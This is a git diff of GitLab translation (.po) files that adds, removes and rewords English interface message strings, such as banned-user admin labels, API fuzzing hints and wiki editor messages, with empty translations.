msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/bn_IN/gitlab.po b/locale/bn_IN/gitlab.po
index a1370920fe9..0583a94f311 100644
--- a/locale/bn_IN/gitlab.po
+++ b/locale/bn_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:17\n"
+"PO-Revision-Date: 2021-06-01 20:31\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
